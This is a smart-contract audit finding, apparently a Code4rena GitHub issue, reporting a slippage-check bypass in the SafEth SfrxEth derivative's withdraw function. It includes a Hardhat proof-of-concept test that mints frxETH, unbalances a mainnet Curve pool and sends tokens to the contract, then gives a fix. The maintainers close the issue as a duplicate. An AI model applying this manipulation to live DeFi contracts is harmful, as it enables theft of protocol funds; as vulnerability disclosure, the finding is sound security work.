code423n4 commented 1 year ago

Lines of code

https://github.com/code-423n4/2023-03-asymmetry/blob/44b5cd94ebedc187a08884a7f685e950e987261c/contracts/SafEth/derivatives/SfrxEth.sol#L74-L75

Vulnerability details

Impact

The max slippage in the SfrxEth derivative contract can by bypassed by sending FRXETH to the derivative contract before withdrawing, then, inside the withdraw call, the exchange function on the CRV pool is called with an inaccurate min_out value. This is inaccurate because the min_out is calculated with the amount passed by the SafEth contract, but the amount sent for trading is the FRXETH balance of the contract. It is easy to imagine a flash loan attack where a user can add FRXETH liquidity to the CRV pool to cause the slippage to increase, then by some loan on SafEth (which is easily possible because SafEth is a normal ERC20) they can sell themselves FRXETH for a cheaper price and come out with more at the end of the attack. This attack effectively makes it so that protocol sells FRXETH for cheaper than its actual value.

Proof of Concept

The proof of concept is simple (did not demonstrate attack, but I did show slippage can easily exceed 1%): 1) deposit ETH to SfrxEth 2) Then get FRXETH in some fashion (I just minted it for sake of the PoC) 3) Unbalance curve pool by depositing a large amount of FRXETH 4) Send some FRXETH to SfrxEth contract 5) Call withdraw and observe that slippage has effectively been exceeded

To do this I edited and added some interfaces added interface for IFrxEth

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;

// made interface to use mint function for testing
interface IFrxEth {
    function minter_mint(address m_address, uint256 m_amount) external;
    function balanceOf(address account) external view returns (uint256);
    function transfer(address to, uint256 amount) external returns (bool);
    function approve(address spender, uint256 amount) external returns (bool);
}

added some functions to curvepool interface

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;

/// https://etherscan.io/address/0x8301AE4fc9c624d1D396cbDAa1ed877821D7C511#code
interface ICrvEthPool {
    function exchange(
        uint256 i,
        uint256 j,
        uint256 dx,
        uint256 min_dy
    ) external payable returns (uint256);

    function exchange_underlying(
        uint256 i,
        uint256 j,
        uint256 dx,
        uint256 min_dy
    ) external;

    function get_virtual_price() external view returns (uint256);

    function price_oracle() external view returns (uint256);

    function get_dy(
        uint256 i,
        uint256 j,
        uint256 dx
    ) external view returns (uint256);

    function add_liquidity(
        uint256[2] calldata amounts, 
        uint256 min_mint_amount
    ) external returns (uint256);
}

Then I added this test case to the Derivatives test suite inside of SafEth.test.ts

   it("Can manipulate max slippage on SfrxEth contract", async () => {
        const sfrxEth = derivatives[1] // get SfrxEth contract

        // Get constants for checking balances
        const ethPerDerivative = await sfrxEth.ethPerDerivative(
            ethers.utils.parseEther("1")
        );
        const derivativePerEth = BigNumber.from(
            "1000000000000000000000000000000000000"
        ).div(ethPerDerivative);

        // make deposit
        const ethDepositAmount = "200";
        const weiDepositAmount = ethers.utils.parseEther(ethDepositAmount);
        const tx1 = await sfrxEth.deposit({ value: weiDepositAmount });
        await tx1.wait();
        const postStakeBalance = await sfrxEth.balance();

        // check deposit succeeded.
        const derivativeBalanceEstimate =
            BigNumber.from(ethDepositAmount).mul(derivativePerEth);

        expect(within1Percent(postStakeBalance, derivativeBalanceEstimate)).eq(
          true
        );

        // create a bunch of FRX for ourselves to make hack happen
        // in real world this can be done through a flash loan
        // Take enough to unbalance CRV pool and mess up slippage
        const FRX_MINTER = "0xbAFA44EFE7901E04E39Dad13167D089C559c1138"
        const FRX_ETH = "0x5E8422345238F34275888049021821E8E08CAa1f"
        await network.provider.request({
            method: "hardhat_impersonateAccount",
            params: [FRX_MINTER],
        });
        const frxMinter = await ethers.getSigner(FRX_MINTER);
        const frxETH = await ethers.getContractAt("IFrxEth", FRX_ETH, frxMinter);
        const frxETHHacker = frxETH.connect(adminAccount);
        const frxFreeAmount = ethers.utils.parseEther("30000");
        const tx2 = await frxETH.minter_mint(adminAccount.address, frxFreeAmount);
        await tx2.wait();

        // choose amount to send to contract before withdraw
        const amntFRXEThToSend = ethers.utils.parseEther("1000")

        // unbalance CRV pool by depositing 
        const CRV_POOL = "0xa1F8A6807c402E4A15ef4EBa36528A3FED24E577";
        const crvPool = await ethers.getContractAt("ICrvEthPool", CRV_POOL, adminAccount);
        const tx3 = await frxETHHacker.approve(CRV_POOL, frxFreeAmount);
        await tx3.wait();
        const tx4 = await crvPool.add_liquidity([0, frxFreeAmount.sub(amntFRXEThToSend)], 0);
        await tx4.wait();

        // Send 1000 FRXETH to SfrxETh contract to mess up slippage
        const tx5 = await frxETHHacker.transfer(sfrxEth.address, amntFRXEThToSend);
        await tx5.wait();

        // call withdraw
        const prewithdrawBal = await adminAccount.getBalance();
        const tx6 = await sfrxEth.withdraw(postStakeBalance);
        await tx6.wait()
        const postWithdrawBalance = await adminAccount.getBalance();

        // observe that we sent 1000 to FRXETH to contract before
        // calling withdraw, and we actually deposited 200 initially
        // we get back 1190
        // This means the contract effectively sold 200 FRX for 190 Ether
        // and we can make this exchange rate worse by messing with parameters
        const balDiff = postWithdrawBalance.sub(prewithdrawBal);
        const depositedEXC = balDiff.sub(amntFRXEThToSend)
        expect(within1Percent(depositedEXC, weiDepositAmount)).eq(false);
        console.log(balDiff.div(ethers.constants.WeiPerEther));
    });

Tools Used

I used solidity and test suites inside of repo

Recommended Mitigation Steps

This problem can easily be solved by changing the min_out calculation to be based on FRXETH balance rather than amount passed into the withdraw function inside of SfrxEth.sol

change lines 74-75 to:

uint256 minOut = (((ethPerDerivative(frxEthBalance) * frxEthBalance) / 10 ** 18) *
            (10 ** 18 - maxSlippage)) / 10 ** 18;

liveactionllama commented 1 year ago

Marking as invalid on behalf of the Lookout.

Reason: Dupe of same warden's issue #1026

liveactionllama commented 1 year ago

Since this appears to be an exact dupe, closing.

c4-sponsor commented 1 year ago

toshiSat marked the issue as sponsor disputed

code-423n4 / 2023-03-asymmetry-findings